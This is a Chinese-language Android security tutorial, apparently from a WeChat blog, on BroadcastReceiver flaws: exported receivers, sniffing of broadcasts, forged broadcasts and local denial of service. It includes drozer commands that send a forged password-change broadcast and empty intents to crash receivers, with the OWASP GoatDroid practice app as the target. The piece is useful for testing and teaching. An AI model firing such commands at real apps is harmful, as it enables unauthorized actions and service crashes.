目录
-
发现导出的Broadcast Receivers -
风险分析点-发送广播时 -
普通广播导致的风险 -
有序广播导致的风险 -
代码示例 -
发送广播是如何实现的 -
敏感信息泄露 -
风险分析点-接收广播时 -
越权 -
本地拒绝服务
BroadcastReceiver是四大组件之一,这个组件涉及:广播发送者和广播接收者,这里的广播实际上指的是「intent」当发送一个广播时,系统会将发送的广播(intent)与系统中所有注册的符合条件的IntentFilter进行匹配,匹配成功,则「执行相应的onReceive函数」。
广播机制分为两个方面:广播发送者和广播接收者,一般来说,BroadcastReceiver就是广播接收者。
发现导出的Broadcast Receivers
当满足以下条件之一的时候,Broadcast receiver 组件将是导出状态,可以被其他 APP 调用:
-
显式设置了 android:exported="true" (当 SDK 小于等于16的时候,默认为 true) -
设置了 <intent-filter> 的 action 标签,且未设置 android:exported="false"
也可使用drozer去扫描APP的导出组件有哪些。
风险分析点-发送广播时
发送广播时,如果处理不当,恶意应用便可以嗅探,拦截广播,致使敏感数据泄露;发送的intent没有明确指定接收者,而是简单的通过action进行匹配,恶意应用便可以注册一个广播接收者嗅探拦截到这个广播,如果这个广播存在敏感数据,就被恶意应用窃取了。
「发送广播是如何实现的」
-
使用 Context.sendBroadcast(Intent)
发送一个普通的广播。 -
使用 Context.sendOrderedBroadcast
发送一个有序的广播,这允许接收者按照优先级顺序接收广播,并且每个接收者都可以传递数据给下一个接收者。
代码示例
「发送一个普通广播」:app a
开发者自身定义intent的广播(最常用),发送广播使用如下:
Intent intent = new Intent();
intent.setAction("com.example.MY_CUSTOM_ACTION");
sendBroadcast(intent);
「接收广播:」 app b
首先,在AndroidManifest.xml
中声明BroadcastReceiver
:
若被注册了的广播接收者中的intentFilter的action与上述匹配,则会接收此广播(即进行回调onReceive()),如下.MyReceiver则会接收上述广播
<receiver android:name=".MyReceiver">
<intent-filter>
<action android:name="com.example.MY_CUSTOM_ACTION" />
</intent-filter>
</receiver>
❝
如果发送的广播有对应权限,那么广播接收者也需要对应权限
❞
「发送一个有序广播」
有序广播的使用过程与普通广播非常类似,差异仅在于广播的发送方式
sendOrderedBroadcast(intent,null); //参数1:接收的Intent 参数2:与权限相关字符串,一般为null
发送出去的广播被广播接收者按照先后顺序接收 有序是针对广播接收者而言的。广播接收者接收广播的顺序规则(同时面向静态和动态注册的广播接收者):(1)按照Priority属性值从大-小排序
(2)Priority属性相同者,动态注册的广播优先
-
接收广播按顺序接收 -
先接收的广播接收者可以对广播进行截断,即后接收的广播接收者不在接收此广播,可以使用abortBroadcast()方法 -
先接收的广播接收者可以对广播进行修改,那么后接收的广播接收者将接收到被修改后的广播
敏感信息泄露
普通广播导致的风险
有序广播导致的风险
风险分析点-接收广播时
接收广播时处理不当,便会导致拒绝服务攻击、伪造消息、越权操作等。
越权
adb forward tcp:31415 tcp:31415
drozer console connect
run app.broadcast.send --action theBroadcast --extra string phonenumber 18888888888 --extra string newpass "you nei gui,zhong zhi jiao yi"
本地拒绝服务
如果敏感的BroadcastReceiver没有设置相应的权限保护,很容易受到攻击。最常见的是拒绝服务攻击。拒绝服务攻击指的是,传递恶意畸形的intent数据给广播接收器,广播接收器无法处理异常导致crash。拒绝服务攻击的危害视具体业务场景而定,比如一个安全防护产品的拒绝服务、锁屏应用的拒绝服务、支付进程的拒绝服务等危害就是巨大的。
run app.broadcast.info -a org.owasp.goatdroid.fourgoats
run app.broadcast.send --action 广播名 --extra string name lisi
#发送空数据导致本地拒绝服务
run app.broadcast.send --action <action>
参考:
https://mp.weixin.qq.com/s/xwlMdFd5lygrjnDqMqi8wA
[原创]Android APP漏洞之战(3)——Broadcast Recevier漏洞详解-Android安全-看雪-安全社区|安全招聘|kanxue.com
https://oldbam.github.io/android/security/android-vulnerabilities-insecurebank-broadcast-receivers
https://redfoxsec.com/blog/exploiting-broadcast-receivers
https://appsec-labs.com/portal/hacking-android-apps-through-exposed-components
原文始发于微信公众号(闻鸡习武):Android APP Broadcast Receiver组件常见漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论